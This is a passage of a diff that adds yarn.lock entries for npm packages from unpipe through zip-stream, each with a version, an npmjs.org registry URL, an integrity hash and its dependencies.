+unpipe@1.0.0, unpipe@~1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz"
+  integrity sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==
+
+uri-js@^4.2.2:
+  version "4.4.1"
+  resolved "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz"
+  integrity sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==
+  dependencies:
+    punycode "^2.1.0"
+
+urijs@~1.17.0:
+  version "1.17.1"
+  resolved "https://registry.npmjs.org/urijs/-/urijs-1.17.1.tgz"
+  integrity sha512-vG1NrwxlfideDDpZAbV3sitGyPW4UORs1Y4MDwHtvpWO8n/W0CPNpemvAvgrt9oy4F7MmMWGpu3lz+BZFke+Bw==
+
+util-deprecate@^1.0.1, util-deprecate@~1.0.1:
+  version "1.0.2"
+  resolved "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz"
+  integrity sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==
+
+utils-merge@1.0.1:
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz"
+  integrity sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==
+
+uuid@^3.3.2:
+  version "3.4.0"
+  resolved "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz"
+  integrity sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==
+
+vargs@^0.1.0:
+  version "0.1.0"
+  resolved "https://registry.npmjs.org/vargs/-/vargs-0.1.0.tgz"
+  integrity sha512-d/j1kMUt0YjLCQPAI+VMZ7IKwNGjk8dSHMCrHq9txFOCcCIDoe8ck9FmPvABJgxIaZO1tabXmNojQG6mBkLLCw==
+
+vary@^1:
+  version "1.1.2"
+  resolved "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz"
+  integrity sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==
+
+verror@1.10.0:
+  version "1.10.0"
+  resolved "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz"
+  integrity sha512-ZZKSmDAEFOijERBLkmYfJ+vmk3w+7hOLYDNkRCuRuMJGEmqYNCNLyBBFwWKVMhfwaEF3WOd0Zlw86U/WC/+nYw==
+  dependencies:
+    assert-plus "^1.0.0"
+    core-util-is "1.0.2"
+    extsprintf "^1.2.0"
+
+void-elements@^2.0.0:
+  version "2.0.1"
+  resolved "https://registry.npmjs.org/void-elements/-/void-elements-2.0.1.tgz"
+  integrity sha512-qZKX4RnBzH2ugr8Lxa7x+0V6XD9Sb/ouARtiasEQCHB1EVU4NXtmHsDDrx1dO4ne5fc3J6EW05BP1Dl0z0iung==
+
+wd@^1.4.0:
+  version "1.14.0"
+  resolved "https://registry.npmjs.org/wd/-/wd-1.14.0.tgz"
+  integrity sha512-X7ZfGHHYlQ5zYpRlgP16LUsvYti+Al/6fz3T/ClVyivVCpCZQpESTDdz6zbK910O5OIvujO23Ym2DBBo3XsQlA==
+  dependencies:
+    archiver "^3.0.0"
+    async "^2.0.0"
+    lodash "^4.0.0"
+    mkdirp "^0.5.1"
+    q "^1.5.1"
+    request "2.88.0"
+    vargs "^0.1.0"
+
+which-boxed-primitive@^1.1.0, which-boxed-primitive@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz"
+  integrity sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==
+  dependencies:
+    is-bigint "^1.1.0"
+    is-boolean-object "^1.2.1"
+    is-number-object "^1.1.1"
+    is-string "^1.1.1"
+    is-symbol "^1.1.1"
+
+which-builtin-type@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.2.1.tgz"
+  integrity sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==
+  dependencies:
+    call-bound "^1.0.2"
+    function.prototype.name "^1.1.6"
+    has-tostringtag "^1.0.2"
+    is-async-function "^2.0.0"
+    is-date-object "^1.1.0"
+    is-finalizationregistry "^1.1.0"
+    is-generator-function "^1.0.10"
+    is-regex "^1.2.1"
+    is-weakref "^1.0.2"
+    isarray "^2.0.5"
+    which-boxed-primitive "^1.1.0"
+    which-collection "^1.0.2"
+    which-typed-array "^1.1.16"
+
+which-collection@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.npmjs.org/which-collection/-/which-collection-1.0.2.tgz"
+  integrity sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==
+  dependencies:
+    is-map "^2.0.3"
+    is-set "^2.0.3"
+    is-weakmap "^2.0.2"
+    is-weakset "^2.0.3"
+
+which-typed-array@^1.1.16, which-typed-array@^1.1.19:
+  version "1.1.19"
+  resolved "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.19.tgz"
+  integrity sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw==
+  dependencies:
+    available-typed-arrays "^1.0.7"
+    call-bind "^1.0.8"
+    call-bound "^1.0.4"
+    for-each "^0.3.5"
+    get-proto "^1.0.1"
+    gopd "^1.2.0"
+    has-tostringtag "^1.0.2"
+
+which@^1.2.1:
+  version "1.3.1"
+  resolved "https://registry.npmjs.org/which/-/which-1.3.1.tgz"
+  integrity sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==
+  dependencies:
+    isexe "^2.0.0"
+
+which@^2.0.1:
+  version "2.0.2"
+  resolved "https://registry.npmjs.org/which/-/which-2.0.2.tgz"
+  integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==
+  dependencies:
+    isexe "^2.0.0"
+
+word-wrap@^1.2.5:
+  version "1.2.5"
+  resolved "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz"
+  integrity sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==
+
+wrap-ansi@^7.0.0:
+  version "7.0.0"
+  resolved "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz"
+  integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
+  dependencies:
+    ansi-styles "^4.0.0"
+    string-width "^4.1.0"
+    strip-ansi "^6.0.0"
+
+wrappy@1:
+  version "1.0.2"
+  resolved "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz"
+  integrity sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==
+
+ws@~8.17.1:
+  version "8.17.1"
+  resolved "https://registry.npmjs.org/ws/-/ws-8.17.1.tgz"
+  integrity sha512-6XQFvXTkbfUOZOKKILFG1PDK2NDQs4azKQl26T0YS5CxqWLgXajbPZ+h4gZekJyRqFU8pvnbAbbs/3TgRPy+GQ==
+
+y18n@^5.0.5:
+  version "5.0.8"
+  resolved "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz"
+  integrity sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==
+
+yargs-parser@^20.2.2:
+  version "20.2.9"
+  resolved "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz"
+  integrity sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==
+
+yargs@^16.1.1:
+  version "16.2.0"
+  resolved "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz"
+  integrity sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==
+  dependencies:
+    cliui "^7.0.2"
+    escalade "^3.1.1"
+    get-caller-file "^2.0.5"
+    require-directory "^2.1.1"
+    string-width "^4.2.0"
+    y18n "^5.0.5"
+    yargs-parser "^20.2.2"
+
+yocto-queue@^0.1.0:
+  version "0.1.0"
+  resolved "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz"
+  integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==
+
+zip-stream@^2.1.2:
+  version "2.1.3"
+  resolved "https://registry.npmjs.org/zip-stream/-/zip-stream-2.1.3.tgz"
+  integrity sha512-EkXc2JGcKhO5N5aZ7TmuNo45budRaFGHOmz24wtJR7znbNqDPmdZtUauKX6et8KAVseAMBOyWJqEpXcHTBsh7Q==
+  dependencies:
+    archiver-utils "^2.1.0"
+    compress-commons "^2.1.1"
+    readable-stream "^3.4.0"